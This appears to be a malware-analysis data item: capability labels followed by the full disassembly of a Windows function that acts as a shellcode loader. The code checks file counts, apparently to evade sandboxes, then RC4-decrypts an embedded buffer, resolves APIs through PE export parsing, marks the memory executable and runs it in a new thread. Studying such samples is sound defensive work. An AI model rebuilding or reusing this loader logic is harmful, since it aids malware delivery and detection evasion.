Function at 0x140002010
Capabilities:
Create process on windows
Encode data using xor
Enumerate files on windows
Get common file path
Query environment variable
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x770]
sub rsp, 0x870
xor r12d, r12d
mov ebx, r12d
mov ecx, 0x1000
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rsi, rax
mov r8d, 0x1000
mov rdx, rax
lea rcx, [0x140001210]
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x30], bl
mov rdi, 0xffffffffffffffff
mov r8, rdi
nop word [rax + rax]
inc r8
cmp byte [rsi + r8], bl
jne 0x140002080
mov rdx, rsi
lea rcx, [rsp + 0x30]
call fcn.1400029e0
nop
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
mov rax, rdx
sub rax, rcx
mov r14d, 2
cmp rax, r14
jb 0x1400020da
lea rax, [rcx + 2]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x30]
cmp rdx, 0x10
cmovae rax, qword [rsp + 0x30]
mov edx, 0x2a5c
mov word [rax + rcx], dx
mov byte [rax + rcx + 2], 0
jmp 0x1400020ec
mov qword [rsp + 0x20], r14
mov rdx, r14
lea rcx, [rsp + 0x30]
call fcn.140002b80
lea rcx, [rsp + 0x30]
cmp qword [rsp + 0x48], 0x10
cmovae rcx, qword [rsp + 0x30]
lea rdx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x1400026f3
nop word [rax + rax]
inc ebx
lea rdx, [rsp + 0x70]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x140002120
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindClose]
cmp ebx, 0x12c
jl 0x1400026f3
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x140002186
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002181
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002727
call fcn.140002d60
lea rdx, [rbp + 0x1b0]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x68], 7
mov word [rsp + 0x50], r12w
lea rax, [rbp + 0x1b0]
mov r8, rdi
nop dword [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x1400021c0
lea rdx, [rbp + 0x1b0]
lea rcx, [rsp + 0x50]
call fcn.140002840
nop
movabs rcx, 0x7ffffffffffffffe
mov rax, rcx
mov r15, qword [rsp + 0x60]
sub rax, r15
cmp rax, 0xe
jb 0x140002762
lea r13, [rsp + 0x50]
cmp qword [rsp + 0x68], 8
cmovae r13, qword [rsp + 0x50]
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x48], r12
lea r12, [r15 + 0xe]
mov ebx, 7
lea rsi, [rsp + 0x30]
cmp r12, rbx
jbe 0x1400022bc
mov rbx, r12
or rbx, 7
cmp rbx, rcx
jbe 0x14000224b
mov rbx, rcx
mov rcx, 0xfffffffffffffffe
jmp 0x14000227a
mov eax, 0xa
cmp rbx, rax
cmovb rbx, rax
lea rcx, [rbx + 1]
movabs rax, 0x7fffffffffffffff
cmp rcx, rax
ja 0x14000275c
add rcx, rcx
cmp rcx, 0x1000
jb 0x1400022a6
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000275c
mov rcx, rax
call fcn.140002d24
test rax, rax
je 0x14000268b
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x1400022b7
test rcx, rcx
je 0x1400022b2
call fcn.140002d24
jmp 0x1400022b4
xor eax, eax
mov rsi, rax
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x48], rbx
lea rbx, [r15 + r15]
mov r8, rbx
mov rdx, r13
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
movups xmm0, xmmword [0x140001220]
movups xmmword [rbx + rsi], xmm0
movsd xmm1, qword [0x140001230]
movsd qword [rbx + rsi + 0x10], xmm1
mov eax, dword [0x140001238]
mov dword [rbx + rsi + 0x18], eax
xor r15d, r15d
mov word [rsi + r12*2], r15w
lea r8, [rsp + 0x30]
cmp qword [rsp + 0x48], 8
cmovae r8, qword [rsp + 0x30]
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], r15
xor r9d, r9d
lea rdx, [0x140001240]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
movabs rax, 0x32397265767771
mov qword [rbp + 0x7b8], rax
lea rcx, [rbp + 0x3c0]
lea rax, [0x140001250]
lea edx, [r15 + 7]
nop word [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140002360
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movzx eax, byte [rax + 0x20]
mov byte [rcx + 0x20], al
lea rax, [rbp + 0x7b8]
nop
inc rdi
cmp byte [rax + rdi], 0
jne 0x1400023d0
mov ebx, r15d
mov esi, 0x100
mov r8d, esi
xor edx, edx
lea rcx, [rbp + 0xb0]
call sub.VCRUNTIME140.dll_memset
mov r8d, r15d
mov r9, r15
nop dword [rax + rax]
mov byte [rsp + r9 + 0x70], r8b
xor edx, edx
mov eax, r8d
div edi
movzx eax, byte [rbp + rdx + 0x7b8]
mov byte [rbp + r9 + 0xb0], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, esi
jl 0x140002400
mov rdx, r15
nop dword [rax + rax]
movzx r8d, byte [rsp + rdx + 0x70]
movzx eax, byte [rbp + rdx + 0xb0]
add ebx, eax
add ebx, r8d
and ebx, 0x800000ff
jge 0x140002455
dec ebx
or ebx, 0xffffff00
inc ebx
movsxd rax, ebx
lea rcx, [rsp + 0x70]
add rcx, rax
movzx eax, byte [rcx]
mov byte [rsp + rdx + 0x70], al
mov byte [rcx], r8b
inc rdx
sub rsi, 1
jne 0x140002430
lea rax, [0x140003ce0]
lea rcx, [rsp + 0x70]
nop
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub r14, 1
jne 0x140002480
lea rdx, [0x140002b40]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov r8, r15
movzx r9d, byte [rsp + 0x71]
nop
movzx edx, r9b
movzx eax, byte [rsp + rdx + 0x70]
mov byte [rsp + 0x71], al
mov byte [rsp + rdx + 0x70], dl
movzx r9d, byte [rsp + 0x71]
lea rcx, [rdx + r9]
movzx eax, cl
movzx ecx, byte [rsp + rax + 0x70]
xor byte [rbp + r8 + 0x3c0], cl
inc r8
cmp r8, 0x3a1
jb 0x1400024f0
call fcn.140002d10
mov rcx, qword [rax + 0x40]
cmp word [rcx + 0x18], 0
je 0x14000254e
nop word [rax + rax]
mov rax, qword [rax]
mov rcx, qword [rax + 0x40]
cmp word [rcx + 0x18], 0
jne 0x140002540
mov rsi, qword [rax + 0x10]
movsxd rax, dword [rsi + 0x3c]
mov ecx, dword [rax + rsi + 0x88]
add rcx, rsi
mov r15d, dword [rcx + 0x1c]
add r15, rsi
mov r12d, dword [rcx + 0x20]
add r12, rsi
mov r13d, dword [rcx + 0x24]
add r13, rsi
xor eax, eax
mov ebx, eax
mov r14d, dword [rcx + 0x18]
test r14, r14
je 0x1400025ae
movzx eax, word [r13 + rbx*2]
mov edi, dword [r15 + rax*4]
add rdi, rsi
mov ecx, dword [r12 + rbx*4]
add rcx, rsi
lea rdx, [0x140001200]
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
je 0x1400025b5
inc rbx
cmp rbx, r14
jb 0x140002582
mov rdi, qword [rbp + 0x7b0]
lea rdx, [0x1400015f8]
mov rcx, rsi
call rdi
mov rbx, rax
lea rdx, [0x140001608]
mov rcx, rsi
call rdi
lea rdx, [0x140001618]
mov rcx, rsi
call rdi
mov rsi, rax
lea r9, [rbp + 0x7b0]
mov edx, 0x3a1
mov r8d, 0x40
lea rcx, [rbp + 0x3c0]
call rbx
lea rcx, [0x140001630]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
test rax, rax
jne 0x140002613
lea ebx, [rax + 1]
xor edi, edi
jmp 0x140002652
lea rdx, [0x140001608]
mov rcx, rax
call rdi
test rax, rax
jne 0x14000262b
lea ebx, [rax + 3]
xor edi, edi
jmp 0x140002652
xor edi, edi
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], edi
xor r9d, r9d
lea r8, [rbp + 0x3c0]
xor edx, edx
xor ecx, ecx
call rax
mov edx, 0xffffffff
mov rcx, rax
call rsi
mov ebx, edi
mov rdx, qword [rsp + 0x48]
cmp rdx, 8
jb 0x140002697
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002692
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002692
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002d60
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x48], 7
mov word [rsp + 0x30], di
mov rax, qword [rsp + 0x68]
cmp rax, 8
jb 0x1400026ef
lea rdx, [rax*2 + 2]
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400026ea
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400026ea
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002d60
mov eax, ebx
jmp 0x140002741
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x140002733
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000272e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000272e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002d60
lea rcx, [0x140001650]
call fcn.140001df0
xor eax, eax
mov rbx, qword [rsp + 0x8c0]
add rsp, 0x870
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.140001f50
nop
call fcn.140001ff0
int3